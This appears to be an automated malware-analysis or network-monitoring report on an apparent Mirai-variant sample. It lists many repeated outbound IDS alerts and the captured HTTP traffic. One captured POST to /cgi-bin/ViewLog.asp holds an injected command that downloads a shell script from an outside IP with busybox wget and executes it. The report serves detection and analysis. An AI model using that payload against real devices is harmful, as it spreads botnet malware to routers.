ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.100.13.184

Timestamp:	192.168.2.2395.100.13.18449946802839471 12/26/23-21:23:22.117802
SID:	2839471
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.198.205.37

Timestamp:	192.168.2.2388.198.205.3736984802839471 12/26/23-21:23:28.303801
SID:	2839471
Source Port:	36984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.101.10.102

Timestamp:	192.168.2.2395.101.10.10247610802839471 12/26/23-21:23:02.105862
SID:	2839471
Source Port:	47610
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.219.41.1

Timestamp:	192.168.2.2388.219.41.141632802839471 12/26/23-21:23:12.658330
SID:	2839471
Source Port:	41632
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.209.212.13

Timestamp:	192.168.2.2388.209.212.1353456802839471 12/26/23-21:23:23.266885
SID:	2839471
Source Port:	53456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.155.160.2

Timestamp:	192.168.2.23112.155.160.260244802839471 12/26/23-21:22:48.467192
SID:	2839471
Source Port:	60244
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.210.102.98

Timestamp:	192.168.2.2388.210.102.9837792802839471 12/26/23-21:23:15.911851
SID:	2839471
Source Port:	37792
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.142.37.209

Timestamp:	192.168.2.2395.142.37.20943494802839471 12/26/23-21:23:00.898173
SID:	2839471
Source Port:	43494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.209.153.170

Timestamp:	192.168.2.2395.209.153.17046310802839471 12/26/23-21:23:00.901845
SID:	2839471
Source Port:	46310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.100.69.122

Timestamp:	192.168.2.2395.100.69.12242496802839471 12/26/23-21:23:02.139423
SID:	2839471
Source Port:	42496
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.217.240.3

Timestamp:	192.168.2.2395.217.240.353664802839471 12/26/23-21:23:06.184656
SID:	2839471
Source Port:	53664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.221.66.89

Timestamp:	192.168.2.2388.221.66.8936480802839471 12/26/23-21:23:27.054660
SID:	2839471
Source Port:	36480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.66.173.225

Timestamp:	192.168.2.2395.66.173.22544630802839471 12/26/23-21:23:20.694698
SID:	2839471
Source Port:	44630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.221.164.43

Timestamp:	192.168.2.2388.221.164.4348540802839471 12/26/23-21:23:27.342268
SID:	2839471
Source Port:	48540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.197.180.36

Timestamp:	192.168.2.23112.197.180.3648548802839471 12/26/23-21:23:31.186361
SID:	2839471
Source Port:	48548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.100.131.37

Timestamp:	192.168.2.2395.100.131.3737124802839471 12/26/23-21:23:05.222014
SID:	2839471
Source Port:	37124
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.225.243.133

Timestamp:	192.168.2.2388.225.243.13360110802839471 12/26/23-21:23:12.717033
SID:	2839471
Source Port:	60110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.101.5.248

Timestamp:	192.168.2.2395.101.5.24845508802839471 12/26/23-21:22:53.833971
SID:	2839471
Source Port:	45508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.208.28.186

Timestamp:	192.168.2.2388.208.28.18637310802839471 12/26/23-21:23:16.809665
SID:	2839471
Source Port:	37310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.85.89.10

Timestamp:	192.168.2.2388.85.89.1040030802839471 12/26/23-21:22:48.372452
SID:	2839471
Source Port:	40030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.131.48.136

Timestamp:	192.168.2.2395.131.48.13640864802839471 12/26/23-21:23:28.056704
SID:	2839471
Source Port:	40864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.27.225.17

Timestamp:	192.168.2.2395.27.225.1753568802839471 12/26/23-21:22:53.175130
SID:	2839471
Source Port:	53568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.179.206.252

Timestamp:	192.168.2.2395.179.206.25253006802839471 12/26/23-21:23:02.080652
SID:	2839471
Source Port:	53006
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.55.197.82

Timestamp:	192.168.2.2395.55.197.8246058802839471 12/26/23-21:23:07.236224
SID:	2839471
Source Port:	46058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.168.100.148

Timestamp:	192.168.2.23112.168.100.14833754802839471 12/26/23-21:23:13.231119
SID:	2839471
Source Port:	33754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.97.102.139

Timestamp:	192.168.2.2388.97.102.13954232802839471 12/26/23-21:22:51.372031
SID:	2839471
Source Port:	54232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.181.80.52

Timestamp:	192.168.2.23112.181.80.5260356802839471 12/26/23-21:23:31.149629
SID:	2839471
Source Port:	60356
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.30.71.76

Timestamp:	192.168.2.2388.30.71.7642156802839471 12/26/23-21:23:34.058704
SID:	2839471
Source Port:	42156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.179.201.242

Timestamp:	192.168.2.2395.179.201.24235724802839471 12/26/23-21:23:02.126990
SID:	2839471
Source Port:	35724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.140.176.30

Timestamp:	192.168.2.23112.140.176.3032810802839471 12/26/23-21:23:30.939591
SID:	2839471
Source Port:	32810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.169.252.37

Timestamp:	192.168.2.23112.169.252.3751984802839471 12/26/23-21:23:20.418959
SID:	2839471
Source Port:	51984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.79.225.174

Timestamp:	192.168.2.2388.79.225.17450492802839471 12/26/23-21:23:27.307491
SID:	2839471
Source Port:	50492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.216.74.202

Timestamp:	192.168.2.2395.216.74.20250984802839471 12/26/23-21:23:05.192743
SID:	2839471
Source Port:	50984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.165.146.112

Timestamp:	192.168.2.2395.165.146.11240610802839471 12/26/23-21:23:28.092957
SID:	2839471
Source Port:	40610
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.215.160.108

Timestamp:	192.168.2.2395.215.160.10859628802839471 12/26/23-21:23:00.929874
SID:	2839471
Source Port:	59628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.197.254.30

Timestamp:	192.168.2.23112.197.254.3035174802839471 12/26/23-21:23:08.909499
SID:	2839471
Source Port:	35174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.46.32.38

Timestamp:	192.168.2.2395.46.32.3842582802839471 12/26/23-21:23:20.681518
SID:	2839471
Source Port:	42582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.184.24.46

Timestamp:	192.168.2.23112.184.24.4652154802839471 12/26/23-21:23:23.941556
SID:	2839471
Source Port:	52154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.99.224.93

Timestamp:	192.168.2.2388.99.224.9336166802839471 12/26/23-21:23:27.059277
SID:	2839471
Source Port:	36166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.157.215.30

Timestamp:	192.168.2.2388.157.215.3047628802839471 12/26/23-21:23:35.058005
SID:	2839471
Source Port:	47628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.209.136.194

Timestamp:	192.168.2.2395.209.136.19442786802839471 12/26/23-21:23:01.233073
SID:	2839471
Source Port:	42786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.68.67.54

Timestamp:	192.168.2.2395.68.67.5451168802839471 12/26/23-21:23:00.871368
SID:	2839471
Source Port:	51168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.99.27.141

Timestamp:	192.168.2.2388.99.27.14151350802839471 12/26/23-21:23:12.663425
SID:	2839471
Source Port:	51350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.101.68.122

Timestamp:	192.168.2.2395.101.68.12255414802839471 12/26/23-21:23:00.897386
SID:	2839471
Source Port:	55414
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:22:48 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 182Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 4b 0f 82 30 10 84 ef fc 8a 95 bb 2c 1a 8e 4d 0f f2 88 24 88 c4 94 83 47 4c d7 94 04 69 85 e2 e3 df 5b e0 e2 71 66 67 be 1d b6 49 ce b1 b8 56 29 1c c5 a9 80 aa 3e 14 79 0c fe 16 31 4f 45 86 98 88 64 bd ec 83 10 31 2d 7d ee 31 65 1f 1d 67 8a 1a e9 84 6d 6d 47 3c 0a 23 28 b5 85 4c 4f bd 64 b8 9a 1e c3 25 c4 6e 5a 7e e7 de 8e ff 65 9c f2 98 e1 42 11 0c f4 9c 68 b4 24 a1 be 14 80 6d 2f e9 13 18 65 e0 dd 8c d0 3b ec 7d c6 82 ee c1 aa 76 84 91 86 17 0d 01 43 e3 08 b8 c0 dd a7 79 94 f7 03 74 46 9f df cf 00 00 00 Data Ascii: MK0,M$GLi[qfgIV)>y1OEd1-}1egmmG<#(LOd%nZ~eBh$m/e;}vCytF
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveContent-Length: 74Content-Type: text/htmlDate: Tue, 26 Dec 2023 20:22:54 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>404 - Not Found</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 26 Dec 2023 20:22:56 GMTServer: LANCOMData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 41 4e 43 4f 4d 3a 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 66 6f 6e 74 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 77 65 62 63 6f 6e 66 69 67 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 66 69 6c 65 73 2f 6a 61 76 61 73 63 72 69 70 74 2f 6f 75 74 73 69 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 70 72 65 76 65 6e 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 6e 6f 6a 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 62 6c 6f 63 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 69 6e 6c 69 6e 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 76 61 72 20 73 63 72 69 70 74 65 64 5f 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 29 3b 0d 0a 73 63 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Tue, 26 Dec 2023 20:23:01 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 26 Dec 2023 20:23:01 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:23:18 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 345Date: Tue, 26 Dec 2023 20:23:23 GMTServer: lighttpd/1.4.45Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:23:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=8Vary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundReferrer-Policy: no-referrerServer: thttpdContent-Type: text/html; charset=utf-8Date: Thu, 09 Apr 1970 14:22:55 GMTLast-Modified: Thu, 09 Apr 1970 14:22:55 GMTAccept-Ranges: bytesConnection: closeCache-Control: no-cache,no-storeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 22 3e 0a 09 09 3c 73 70 61 6e 3e 0a 09 09 09 45 72 72 6f 72 20 34 30 34 2c 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a 09 09 3c 2f 73 70 61 6e 3e 0a 09 3c 2f 68 31 3e 0a 09 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <html><head></head><body><h1 style="text-align: center; height: 150px"><span>Error 404, Page not found</span></h1><div style="text-align: center;"><a href="/">Home</a></div></body></html><HR></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
